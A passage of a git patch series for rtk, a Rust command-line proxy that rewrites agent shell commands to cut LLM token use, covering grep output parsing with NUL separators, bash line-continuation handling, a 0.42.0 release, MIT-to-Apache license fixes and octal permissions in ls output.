REWRITE_TIMEOUT_MS = 2_000 -const MAX_REWRITE_OUTPUT_BYTES = 1024 * 1024 const MIN_SUPPORTED_RTK_MINOR = 23 // Parse "X.Y.Z" semver, return [major, minor, patch] or null. @@ -34,7 +33,6 @@ async function rewriteCommand( const result = await pi.exec("rtk", ["rewrite", cmd], { timeout: REWRITE_TIMEOUT_MS, signal, - maxBuffer: MAX_REWRITE_OUTPUT_BYTES, }) if (result.killed) return null if (result.code !== 0 && result.code !== 3) return null From f6a54518bd8576d5032f232b9e19f0a5b9e7399d Mon Sep 17 00:00:00 2001 From: gitbluf Date: Sat, 23 May 2026 01:58:47 +0200 Subject: [PATCH 129/257] chore: minor cleanup --- hooks/pi/rtk.ts | 1 - 1 file changed, 1 deletion(-) diff --git a/hooks/pi/rtk.ts b/hooks/pi/rtk.ts index 4c30f203b7..32cb2b5f11 100644 --- a/hooks/pi/rtk.ts +++ b/hooks/pi/rtk.ts @@ -1,4 +1,3 @@ -// rtk-hook-version: 2 // RTK Pi extension — rewrites bash commands to use rtk for token savings. // Requires: rtk >= 0.23.0 in PATH. // From be226d4f1dcdcc0df29ad6f9968be5ab37ed5c19 Mon Sep 17 00:00:00 2001 From: F0rty-Tw0 Date: Sat, 23 May 2026 22:30:31 +0200 Subject: [PATCH 130/257] fix(grep): parse single-file output containing colons Single-file `rtk grep` returned synthetic `[file] N` buckets when a matching line contained `:`. ripgrep emits `:` for single-file searches; the parser used `splitn(3, ':')` length to disambiguate, which fails when content has `:` (e.g. `Foo::bar(...)`). Force `--with-filename` on rg (`-H` on the grep fallback) so output is always `file:line:content`, and replace the inline parser with a regex-based `parse_match_line` that also handles paths with embedded `:` (Windows drive letters). Fixes the parser/rendering portion of #1436. The BRE-translation portion is addressed in a follow-up PR. Signed-off-by: Artiom Tofan --- src/cmds/system/grep_cmd.rs | 110 +++++++++++++++++++++++++++++++----- 1 file changed, 97 insertions(+), 13 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index 6a33cf3a44..806c782b46 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -33,7 +33,19 @@ pub fn run( // Without this, rg returns 0 matches for files in .gitignore, causing // false negatives that make AI agents draw wrong conclusions. // Using --no-ignore-vcs (not --no-ignore) so .ignore/.rgignore are still respected. - rg_cmd.args(["-n", "--no-heading", "--no-ignore-vcs", &rg_pattern, path]); + // + // --with-filename: force rg to always include the filename, even for + // single-file invocations. Without it, rg emits `:` for a + // single file, and the parser cannot tell `:` from + // `::` when content itself contains ':' (issue #1436). + rg_cmd.args([ + "-n", + "--no-heading", + "--with-filename", + "--no-ignore-vcs", + &rg_pattern, + path, + ]); if let Some(ft) = file_type { rg_cmd.arg("--type").arg(ft); @@ -50,8 +62,9 @@ pub fn run( let result = exec_capture(&mut rg_cmd) .or_else(|_| { let mut grep_cmd = resolved_command("grep"); - //When we fall back to grep,include all args, not just -rn. - grep_cmd.args(["-rn", pattern, path]).args(extra_args); + // -H: always emit the filename so the parser sees a uniform + // file:line:content shape (parity with rg's --with-filename). + grep_cmd.args(["-rnH", pattern, path]).args(extra_args); exec_capture(&mut grep_cmd) }) .context("grep/rg failed")?; @@ -108,18 +121,9 @@ pub fn run( let mut by_file: HashMap> = HashMap::new(); for line in result.stdout.lines() { - let parts: Vec<&str> = line.splitn(3, ':').collect(); - - let (file, line_num, content) = if parts.len() == 3 { - let ln = parts[1].parse().unwrap_or(0); - (parts[0].to_string(), ln, parts[2]) - } else if parts.len() == 2 { - let ln = parts[0].parse().unwrap_or(0); - (path.to_string(), ln, parts[1]) - } else { + let Some((file, line_num, content)) = parse_match_line(line) else { continue; }; - let cleaned = clean_line(content, max_line_len, context_re.as_ref(), pattern); by_file.entry(file).or_default().push((line_num, cleaned)); } @@ -166,6 +170,29 @@ pub fn run( Ok(exit_code) } +/// Parses a single rg/grep match line of the form `file:line_number:content`. +/// +/// Always returns three colon-separated fields when the underlying command was +/// invoked with `--with-filename` (rg) or `-H` (grep). Uses a greedy regex on +/// the path so: +/// - content with `::` (e.g. `ClassRegistry::init(...)`) does not split into +/// a phantom file bucket (issue #1436); +/// - paths with embedded `:` (Windows drive letters like `C:\foo\file.php`) +/// parse correctly — the LAST `:digits:` before content is the boundary. +/// +/// Returns `None` for lines that do not match the expected shape (e.g. rg +/// `-A`/`-B` context lines that use `-` as separator). +fn parse_match_line(line: &str) -> Option<(String, usize, &str)> { + lazy_static::lazy_static! { + static ref MATCH_LINE_RE: Regex = Regex::new(r"^(.+):(\d+):(.*)$").unwrap(); + } + let caps = MATCH_LINE_RE.captures(line)?; + let file = caps.get(1)?.as_str().to_string(); + let line_num: usize = caps.get(2)?.as_str().parse().ok()?; + let content_start = caps.get(3)?.start(); + Some((file, line_num, &line[content_start..])) +} + fn has_format_flag(extra_args: &[String]) -> bool { extra_args.iter().any(|arg| { matches!( @@ -391,6 +418,63 @@ mod tests { // If rg is not installed, skip gracefully (test still passes) } + // --- issue #1436: parse_match_line robustness --- + + #[test] + fn test_parse_match_line_simple() { + let line = "file.php:10:use Foo\\Bar;"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "file.php"); + assert_eq!(line_num, 10); + assert_eq!(content, "use Foo\\Bar;"); + } + + // Issue #1436 reproducer: content with `::` must not split into a phantom + // file bucket. Before the fix, rg's single-file output `81: $this->... + // ClassRegistry::init('...')` was parsed into 3 colon-fields, producing + // file="81", line=0, content=":init('...')". + #[test] + fn test_parse_match_line_content_with_double_colon() { + let line = "externalImportShell.class.php:81: $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "externalImportShell.class.php"); + assert_eq!(line_num, 81); + assert_eq!( + content, + " $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');" + ); + } + + // Windows abs-path safety: drive letter + backslashes must not break the + // parser. Greedy regex on path picks the LAST `:digits:` boundary. + #[test] + fn test_parse_match_line_windows_path() { + let line = r"C:\src\file.rs:42:fn main() {}"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, r"C:\src\file.rs"); + assert_eq!(line_num, 42); + assert_eq!(content, "fn main() {}"); + } + + #[test] + fn test_parse_match_line_malformed_returns_none() { + // Single token, no colons (e.g. an rg context line written with `-`) + assert!(parse_match_line("not a match line").is_none()); + // Missing line number + assert!(parse_match_line("file.rs:fn foo()").is_none()); + // Empty + assert!(parse_match_line("").is_none()); + } + + #[test] + fn test_parse_match_line_empty_content() { + let line = "file.rs:7:"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "file.rs"); + assert_eq!(line_num, 7); + assert_eq!(content, ""); + } + #[test] fn test_rg_no_ignore_vcs_flag_accepted() { // Verify rg accepts --no-ignore-vcs (used to match grep -r behavior for .gitignore) From 0e3a6f48305c1302443cbe5206e5b5f7cffb671a Mon Sep 17 00:00:00 2001 From: F0rty-Tw0 Date: Sat, 23 May 2026 22:57:35 +0200 Subject: [PATCH 131/257] fix(grep): NUL-separate file from line:content per review - rg: switch to `-nH --null` for robust file/content separation - grep fallback: switch to `-rnHZ` to match rg's --null contract - Parser regex: `^([^\x00]+)\x00(\d+):(.*)$` so filenames or content containing `:digits:` (e.g. `badly_named:52:file.txt`, `debug: counter is :42: now`) can no longer fool the parser - Use `Captures::extract` for cleaner destructuring Adds tests for the badly-named-filename and digit-colons-in-content cases; updates existing tests to use NUL-separated fixtures. Addresses review on #1554. Signed-off-by: Artiom Tofan --- src/cmds/system/grep_cmd.rs | 92 +++++++++++++++++++++++-------------- 1 file changed, 58 insertions(+), 34 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index 806c782b46..dbd61364a4 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -34,14 +34,14 @@ pub fn run( // false negatives that make AI agents draw wrong conclusions. // Using --no-ignore-vcs (not --no-ignore) so .ignore/.rgignore are still respected. // - // --with-filename: force rg to always include the filename, even for - // single-file invocations. Without it, rg emits `:` for a - // single file, and the parser cannot tell `:` from - // `::` when content itself contains ':' (issue #1436). + // -H: force rg to always include the filename, even for single-file searches. + // --null: separate file from line:content with a NUL byte so the parser is + // unambiguous even when the filename or content contains `:digits:` + // patterns (issue #1436). rg_cmd.args([ - "-n", + "-nH", "--no-heading", - "--with-filename", + "--null", "--no-ignore-vcs", &rg_pattern, path, @@ -62,9 +62,10 @@ pub fn run( let result = exec_capture(&mut rg_cmd) .or_else(|_| { let mut grep_cmd = resolved_command("grep"); - // -H: always emit the filename so the parser sees a uniform - // file:line:content shape (parity with rg's --with-filename). - grep_cmd.args(["-rnH", pattern, path]).args(extra_args); + // -H: always emit the filename; -Z: NUL-separate filename from + // line:content so the parser can disambiguate even for filenames + // or content containing `:digits:` (parity with rg's --null). + grep_cmd.args(["-rnHZ", pattern, path]).args(extra_args); exec_capture(&mut grep_cmd) }) .context("grep/rg failed")?; @@ -170,27 +171,26 @@ pub fn run( Ok(exit_code) } -/// Parses a single rg/grep match line of the form `file:line_number:content`. +/// Parses a single rg/grep match line of the form `file\0line_number:content`. /// -/// Always returns three colon-separated fields when the underlying command was -/// invoked with `--with-filename` (rg) or `-H` (grep). Uses a greedy regex on -/// the path so: -/// - content with `::` (e.g. `ClassRegistry::init(...)`) does not split into -/// a phantom file bucket (issue #1436); -/// - paths with embedded `:` (Windows drive letters like `C:\foo\file.php`) -/// parse correctly — the LAST `:digits:` before content is the boundary. +/// Requires the underlying command to be invoked with `--null` (rg) or `-Z` +/// (grep) so the filename is NUL-separated from `line:content`. NUL cannot +/// appear in file paths, so the parser is unambiguous regardless of: +/// - content with `:` or `::` (e.g. `ClassRegistry::init(...)`, issue #1436); +/// - paths with embedded `:` (Windows drive letters, weird filenames like +/// `badly_named:52:file.txt`). /// /// Returns `None` for lines that do not match the expected shape (e.g. rg /// `-A`/`-B` context lines that use `-` as separator). fn parse_match_line(line: &str) -> Option<(String, usize, &str)> { lazy_static::lazy_static! { - static ref MATCH_LINE_RE: Regex = Regex::new(r"^(.+):(\d+):(.*)$").unwrap(); + static ref MATCH_LINE_RE: Regex = Regex::new(r"^([^\x00]+)\x00(\d+):(.*)$").unwrap(); } - let caps = MATCH_LINE_RE.captures(line)?; - let file = caps.get(1)?.as_str().to_string(); - let line_num: usize = caps.get(2)?.as_str().parse().ok()?; - let content_start = caps.get(3)?.start(); - Some((file, line_num, &line[content_start..])) + MATCH_LINE_RE.captures(line).and_then(|caps| { + let (_, [file, line_num, content]) = caps.extract(); + let line_num: usize = line_num.parse().ok()?; + Some((file.to_string(), line_num, content)) + }) } fn has_format_flag(extra_args: &[String]) -> bool { @@ -419,10 +419,11 @@ mod tests { } // --- issue #1436: parse_match_line robustness --- + // Input shape is `file\0line:content` (rg --null / grep -Z). #[test] fn test_parse_match_line_simple() { - let line = "file.php:10:use Foo\\Bar;"; + let line = "file.php\x0010:use Foo\\Bar;"; let (file, line_num, content) = parse_match_line(line).unwrap(); assert_eq!(file, "file.php"); assert_eq!(line_num, 10); @@ -430,12 +431,11 @@ mod tests { } // Issue #1436 reproducer: content with `::` must not split into a phantom - // file bucket. Before the fix, rg's single-file output `81: $this->... - // ClassRegistry::init('...')` was parsed into 3 colon-fields, producing - // file="81", line=0, content=":init('...')". + // file bucket. With NUL separation between file and line:content, content + // colons are irrelevant to the parser. #[test] fn test_parse_match_line_content_with_double_colon() { - let line = "externalImportShell.class.php:81: $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');"; + let line = "externalImportShell.class.php\x0081: $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');"; let (file, line_num, content) = parse_match_line(line).unwrap(); assert_eq!(file, "externalImportShell.class.php"); assert_eq!(line_num, 81); @@ -446,29 +446,53 @@ mod tests { } // Windows abs-path safety: drive letter + backslashes must not break the - // parser. Greedy regex on path picks the LAST `:digits:` boundary. + // parser. The NUL separator makes the file portion unambiguous. #[test] fn test_parse_match_line_windows_path() { - let line = r"C:\src\file.rs:42:fn main() {}"; + let line = "C:\\src\\file.rs\x0042:fn main() {}"; let (file, line_num, content) = parse_match_line(line).unwrap(); assert_eq!(file, r"C:\src\file.rs"); assert_eq!(line_num, 42); assert_eq!(content, "fn main() {}"); } + // Filenames containing `:digits:` (which would fool a greedy `:` parser) + // must still parse correctly under NUL separation. + #[test] + fn test_parse_match_line_filename_with_colons() { + let line = "badly_named:52:file.txt\x001:xxx"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "badly_named:52:file.txt"); + assert_eq!(line_num, 1); + assert_eq!(content, "xxx"); + } + + // Content that itself contains `:digits:` (e.g. log lines, port numbers, + // line-number-like substrings) must not confuse the parser. + #[test] + fn test_parse_match_line_content_with_digit_colons() { + let line = "log.txt\x007:debug: counter is :42: now"; + let (file, line_num, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "log.txt"); + assert_eq!(line_num, 7); + assert_eq!(content, "debug: counter is :42: now"); + } + #[test] fn test_parse_match_line_malformed_returns_none() { - // Single token, no colons (e.g. an rg context line written with `-`) + // No NUL separator (e.g. rg/grep invoked without --null/-Z, or a + // context line written with `-`). + assert!(parse_match_line("file.rs:1:content").is_none()); assert!(parse_match_line("not a match line").is_none()); - // Missing line number - assert!(parse_match_line("file.rs:fn foo()").is_none()); + // Missing line number after NUL + assert!(parse_match_line("file.rs\x00fn foo()").is_none()); // Empty assert!(parse_match_line("").is_none()); } #[test] fn test_parse_match_line_empty_content() { - let line = "file.rs:7:"; + let line = "file.rs\x007:"; let (file, line_num, content) = parse_match_line(line).unwrap(); assert_eq!(file, "file.rs"); assert_eq!(line_num, 7); From 415fab061165b216b25da7afdefbddde1d91fab2 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Sun, 24 May 2026 15:34:31 +0000 Subject: [PATCH 132/257] chore(master): release 0.42.0 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 12 ++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 15 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index dbe1b2bfb9..57953081c6 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.41.0" + ".": "0.42.0" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 2d7dc81c70..572d8b8cc7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,18 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.42.0](https://github.com/rtk-ai/rtk/compare/v0.41.0...v0.42.0) (2026-05-24) + + +### Features + +* **hook:** add pi support ([805caf7](https://github.com/rtk-ai/rtk/commit/805caf7d069e93370a316682b36aad59d562de2e)) + + +### Bug Fixes + +* honor explicit -n N limit for git log on merge commits ([26c8890](https://github.com/rtk-ai/rtk/commit/26c88907d945ec81a25fe631a39dee3830faa0ec)) + ## [0.41.0](https://github.com/rtk-ai/rtk/compare/v0.40.0...v0.41.0) (2026-05-22) diff --git a/Cargo.lock b/Cargo.lock index 5ddb812959..8b259e2abe 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.41.0" +version = "0.42.0" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 376df83aa5..5b91bb4cae 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.41.0" +version = "0.42.0" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From 2543be59126f5b6825b48570a5b5fb99d0112dab Mon Sep 17 00:00:00 2001 From: SAY-5 Date: Tue, 28 Apr 2026 03:29:11 -0700 Subject: [PATCH 133/257] fix(hook): collapse bash line continuations before matching (#1564) Closes #1564. `rtk hook check` rejected commands that began with a bash line continuation (`\`) because the matcher saw the literal `\` as the first token and bailed out: $ rtk hook check $'\\\ngit diff HEAD~1' No rewrite for: \\ngit diff HEAD~1 Bash collapses `\` (and `\`) plus surrounding horizontal whitespace to a single space before dispatching the command, so the matcher should do the same. Internal continuations (e.g. `git diff \HEAD~1`) are equally common when Claude Code formats long invocations. Add a small `collapse_line_continuations` helper that runs a single regex over the input before `cmd.trim()`. The regex eats the trailing whitespace on the previous line and the leading indentation on the next line so the no-double-space invariant holds. The fast path returns `Cow::Borrowed` when no continuation is present, so commands without `\` allocate nothing. Six regression tests pin: leading \\, leading \\, internal \\ between subcommand and args, \\ followed by indentation, the no-op fast path, and the helper-level Cow::Borrowed contract. --- src/discover/registry.rs | 95 +++++++++++++++++++++++++++++++++++++++- 1 file changed, 93 insertions(+), 2 deletions(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index bb7b11f2a4..ecccc1d6f2 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -440,6 +440,27 @@ fn strip_trailing_redirects(cmd: &str) -> (&str, &str) { (cmd_part, redir_part) } +lazy_static! { + /// Matches a bash line-continuation: a backslash immediately + /// followed by `\n` or `\r\n`, *plus* any horizontal whitespace on + /// the line before AND after the break. This is what bash already + /// collapses to a single space before executing the command — rtk's + /// hook matcher needs to do the same so commands authored across + /// multiple lines still hit the rewrite rules. Consuming the + /// trailing whitespace prevents double spaces in cases like + /// `git diff \HEAD~1`. + static ref LINE_CONTINUATION_RE: Regex = + Regex::new(r"[ \t]*\\(?:\r\n|\n)[ \t]*").unwrap(); +} + +/// Replace every bash line continuation with a single space, mirroring +/// what bash does before dispatching the command. Returns a borrowed +/// `&str` when the input contains no continuations, so the common +/// fast path allocates nothing. +fn collapse_line_continuations(s: &str) -> std::borrow::Cow<'_, str> { + LINE_CONTINUATION_RE.replace_all(s, " ") +} + /// Returns `None` if the command is unsupported or ignored (hook should pass through). /// /// Handles compound commands (`&&`, `||`, `;`) by rewriting each segment independently. @@ -449,7 +470,7 @@ fn strip_trailing_redirects(cmd: &str) -> (&str, &str) { /// (`[hooks].transparent_prefixes` in `config.toml`) before routing. /// /// A transparent prefix is a wrapper command that doesn't change *what* is -/// being run, only *how* it's run — e.g. `docker exec mycontainer`, +/// being run, only *how* it's run --- e.g. `docker exec mycontainer`, /// `direnv exec .`, `poetry run`, or `bundle exec`. Stripping it lets the inner /// command match a filter; the prefix is then re-prepended to the rewrite. The /// built-in [`SHELL_PREFIX_BUILTINS`] (`noglob`, `command`, `builtin`, `exec`, @@ -464,7 +485,13 @@ pub fn rewrite_command( excluded: &[String], transparent_prefixes: &[String], ) -> Option { - let trimmed = cmd.trim(); + // Bash line continuations (`\`, `\`) and the leading + // whitespace that follows are syntactically equivalent to a single + // space, but `cmd.trim()` does not unwrap them --- so a leading + // backslash-newline used to defeat the whole matcher. Normalize + // first, then trim. See issue #1564. + let normalized = collapse_line_continuations(cmd); + let trimmed = normalized.trim(); if trimmed.is_empty() { return None; } @@ -3884,4 +3911,68 @@ mod tests { Some("rtk git log | head | tail && rtk git status".into()) ); } + + // --- line-continuation handling (issue #1564) ------------------- + + #[test] + fn test_rewrite_leading_backslash_newline() { + // The exact reproduction from #1564: a leading `\` made + // the matcher see `\` as the command and bail out. + assert_eq!( + rewrite_command("\\\ngit diff HEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_rewrite_leading_backslash_crlf() { + // CRLF line ending — same shape, Windows shells / Git Bash. + assert_eq!( + rewrite_command("\\\r\ngit diff HEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_rewrite_internal_backslash_newline() { + // Embedded line continuation between subcommand and args: + // `git diff \HEAD~1` is exactly equivalent to + // `git diff HEAD~1` per bash semantics. + assert_eq!( + rewrite_command("git diff \\\nHEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_rewrite_backslash_newline_with_indent() { + // Continuation followed by indentation — also collapsed. + assert_eq!( + rewrite_command("git \\\n diff HEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_rewrite_no_line_continuation_unchanged() { + // Sanity check: a command without any `\` should match + // unchanged. This pins that the normalization step does not + // regress the no-op fast path. + assert_eq!( + rewrite_command("git diff HEAD~1", &[]), + Some("rtk git diff HEAD~1".into()) + ); + } + + #[test] + fn test_collapse_line_continuations_no_op() { + // Helper-level: no continuations → returns Borrowed (no + // allocation). We can only spot-check the equality here, but + // the `Cow::Borrowed` variant is implied by `replace_all` + // when no replacement occurs. + assert_eq!( + collapse_line_continuations("git diff HEAD~1"), + std::borrow::Cow::::Borrowed("git diff HEAD~1"), + ); + } } From 1875945bf32b3cc8f7f4c8da81427e17ded74c7f Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Mon, 25 May 2026 09:42:06 +0200 Subject: [PATCH 134/257] fix(pkg): rtk is Apache 2.0 and no MIT --- Cargo.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Cargo.toml b/Cargo.toml index 8fc8a93054..0b5b820140 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -4,7 +4,7 @@ version = "0.40.0" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" -license = "MIT" +license = "Apache 2.0" homepage = "https://www.rtk-ai.app" repository = "https://github.com/rtk-ai/rtk" readme = "README.md" From 9bbc7bb79e702ada58f5cfe2499d441715aa6bbd Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Mon, 25 May 2026 12:13:43 +0200 Subject: [PATCH 135/257] fix(docs): replace remaining MIT license references with Apache 2.0 --- Formula/rtk.rb | 2 +- README_es.md | 4 ++-- README_fr.md | 4 ++-- README_ja.md | 4 ++-- README_ko.md | 4 ++-- README_zh.md | 4 ++-- openclaw/README.md | 2 +- openclaw/openclaw.plugin.json | 2 +- openclaw/package.json | 2 +- 9 files changed, 14 insertions(+), 14 deletions(-) diff --git a/Formula/rtk.rb b/Formula/rtk.rb index 25a8b2e8a2..34c27f9fb1 100644 --- a/Formula/rtk.rb +++ b/Formula/rtk.rb @@ -7,7 +7,7 @@ class Rtk < Formula desc "High-performance CLI proxy to minimize LLM token consumption" homepage "https://www.rtk-ai.app" version "0.1.0" - license "MIT" + license "Apache-2.0" on_macos do on_intel do diff --git a/README_es.md b/README_es.md index 751bd1ba84..10a6a53a5b 100644 --- a/README_es.md +++ b/README_es.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -158,7 +158,7 @@ Unete a la comunidad en [Discord](https://discord.gg/RySmvNF5kF). ## Licencia -Licencia MIT - ver [LICENSE](LICENSE) para detalles. +Licencia Apache 2.0 - ver [LICENSE](LICENSE) para detalles. ## Descargo de responsabilidad diff --git a/README_fr.md b/README_fr.md index d305feaafd..2de284100f 100644 --- a/README_fr.md +++ b/README_fr.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -195,7 +195,7 @@ Rejoignez la communaute sur [Discord](https://discord.gg/RySmvNF5kF). ## Licence -Licence MIT - voir [LICENSE](LICENSE) pour les details. +Licence Apache 2.0 - voir [LICENSE](LICENSE) pour les details. ## Avertissement diff --git a/README_ja.md b/README_ja.md index 23bf4412ff..ce946d6288 100644 --- a/README_ja.md +++ b/README_ja.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -157,7 +157,7 @@ rtk discover # 見逃した節約機会を発見 ## ライセンス -MIT ライセンス - 詳細は [LICENSE](LICENSE) を参照。 +Apache 2.0 ライセンス - 詳細は [LICENSE](LICENSE) を参照。 ## 免責事項 diff --git a/README_ko.md b/README_ko.md index a07a4590a2..c969e0ed24 100644 --- a/README_ko.md +++ b/README_ko.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -157,7 +157,7 @@ rtk discover # 놓친 절약 기회 발견 ## 라이선스 -MIT 라이선스 - 자세한 내용은 [LICENSE](LICENSE)를 참조하세요. +Apache 2.0 라이선스 - 자세한 내용은 [LICENSE](LICENSE)를 참조하세요. ## 면책 조항 diff --git a/README_zh.md b/README_zh.md index 854ca23140..ef8c53b108 100644 --- a/README_zh.md +++ b/README_zh.md @@ -9,7 +9,7 @@

CI Release - License: MIT + License: Apache 2.0 Discord Homebrew

@@ -165,7 +165,7 @@ rtk discover # 发现遗漏的节省机会 ## 许可证 -MIT 许可证 - 详见 [LICENSE](LICENSE)。 +Apache 2.0 许可证 - 详见 [LICENSE](LICENSE)。 ## 免责声明 diff --git a/openclaw/README.md b/openclaw/README.md index 301d7c0fad..480ec856fc 100644 --- a/openclaw/README.md +++ b/openclaw/README.md @@ -83,4 +83,4 @@ Handled by `rtk rewrite` guards: ## License -MIT -- same as RTK. +Apache 2.0 -- same as RTK. diff --git a/openclaw/openclaw.plugin.json b/openclaw/openclaw.plugin.json index 3fce418d79..e08d11ba1c 100644 --- a/openclaw/openclaw.plugin.json +++ b/openclaw/openclaw.plugin.json @@ -4,7 +4,7 @@ "version": "1.0.0", "description": "Transparently rewrites shell commands to their RTK equivalents for 60-90% LLM token savings", "homepage": "https://github.com/rtk-ai/rtk", - "license": "MIT", + "license": "Apache-2.0", "configSchema": { "type": "object", "additionalProperties": false, diff --git a/openclaw/package.json b/openclaw/package.json index 18d359ff44..aa0b099f61 100644 --- a/openclaw/package.json +++ b/openclaw/package.json @@ -3,7 +3,7 @@ "version": "1.0.0", "description": "RTK plugin for OpenClaw — rewrites shell commands for 60-90% LLM token savings", "main": "index.ts", - "license": "MIT", + "license": "Apache-2.0", "repository": { "type": "git", "url": "https://github.com/rtk-ai/rtk", From 6c4dfc727af0423318bf21a66d53474089d25bf4 Mon Sep 17 00:00:00 2001 From: Ryan A <7192401+ryana-0154@users.noreply.github.com> Date: Mon, 25 May 2026 12:46:23 +0100 Subject: [PATCH 136/257] fix(ls): preserve permission info as octal when -l/-la is passed Closes #1672 Co-Authored-By: Claude Opus 4.7 (1M context) --- src/cmds/system/ls.rs | 224 ++++++++++++++++++++++++++++++++++-------- 1 file changed, 185 insertions(+), 39 deletions(-) diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index b96f84876f..2c4bc67908 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -24,6 +24,19 @@ pub fn run(args: &[String], verbose: u8) -> Result { .iter() .any(|a| (a.starts_with('-') && !a.starts_with("--") && a.contains('a')) || a == "--all"); + // Per `man ls`, the long listing is triggered by `-l` and also implied by + // `-g`, `-n`, `-o`, and `--full-time`. In any of those cases we preserve + // permission info as octal. + let show_long = args.iter().any(|a| { + if a == "--full-time" { + return true; + } + if a.starts_with('-') && !a.starts_with("--") { + return a.chars().any(|c| matches!(c, 'l' | 'g' | 'n' | 'o')); + } + false + }); + let flags: Vec<&str> = args .iter() .filter(|a| a.starts_with('-')) @@ -74,7 +87,7 @@ pub fn run(args: &[String], verbose: u8) -> Result { "ls", &format!("-la {}", target_display), |raw| { - let (entries, summary, parsed_count) = compact_ls(raw, show_all); + let (entries, summary, parsed_count) = compact_ls(raw, show_all, show_long); // If no lines were parsed (e.g., unrecognized locale), fall back to raw output. // This is safer than returning "(empty)" for a non-empty directory. @@ -124,14 +137,17 @@ fn human_size(bytes: u64) -> String { } } -/// Parse a single `ls -la` line, returning `(file_type_char, size, name)`. +/// Parse a single `ls -la` line, returning `(file_type_char, perms, size, name)`. +/// +/// `perms` is the raw 10-char string from ls (e.g. `-rw-r--r--`); use +/// [`perms_to_octal`] to render it. /// /// Uses the date field as a stable anchor — the date format in `ls -la` is /// always three tokens (`Mon DD HH:MM` or `Mon DD YYYY`), so we locate it /// with a regex, then extract size (rightmost number before the date) and /// filename (everything after the date). This handles owner/group names that /// contain spaces, which break the old fixed-column approach. -fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { +fn parse_ls_line(line: &str) -> Option<(char, String, u64, String)> { // Skip . and .. entries before date parsing (works for non-English locales too) if is_dotdir(line) { return None; @@ -146,7 +162,7 @@ fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { return None; } - let perms = before_parts[0]; + let perms = before_parts[0].to_string(); let file_type = perms.chars().next()?; // Size is the rightmost parseable number before the date. @@ -160,7 +176,7 @@ fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { } } - Some((file_type, size, name)) + Some((file_type, perms, size, name)) } /// Returns true if the line represents a . or .. directory entry. @@ -173,17 +189,60 @@ fn is_dotdir(line: &str) -> bool { line.trim().ends_with('.') || line.trim().ends_with("..") } -/// Parse ls -la output into compact format: -/// name/ (dirs) -/// name size (files) +/// Convert an `ls`-style permission string (e.g. `-rw-r--r--`, `drwxr-xr-x`, +/// `-rwsr-xr-t`) into octal notation (e.g. `644`, `755`, `4755`). +/// +/// Returns `None` if the input does not look like a permission field. +/// Special bits (setuid/setgid/sticky) are encoded as a leading 4th digit when +/// any are set; otherwise we emit a 3-digit value to stay compact. +fn perms_to_octal(perms: &str) -> Option { + if perms.len() < 10 || !perms.is_ascii() { + return None; + } + let b = perms.as_bytes(); + + fn perm_value(read: bool, write: bool, exec: bool) -> u32 { + ((read as u32) << 2) | ((write as u32) << 1) | (exec as u32) + } + + let owner_x = matches!(b[3], b'x' | b's'); + let group_x = 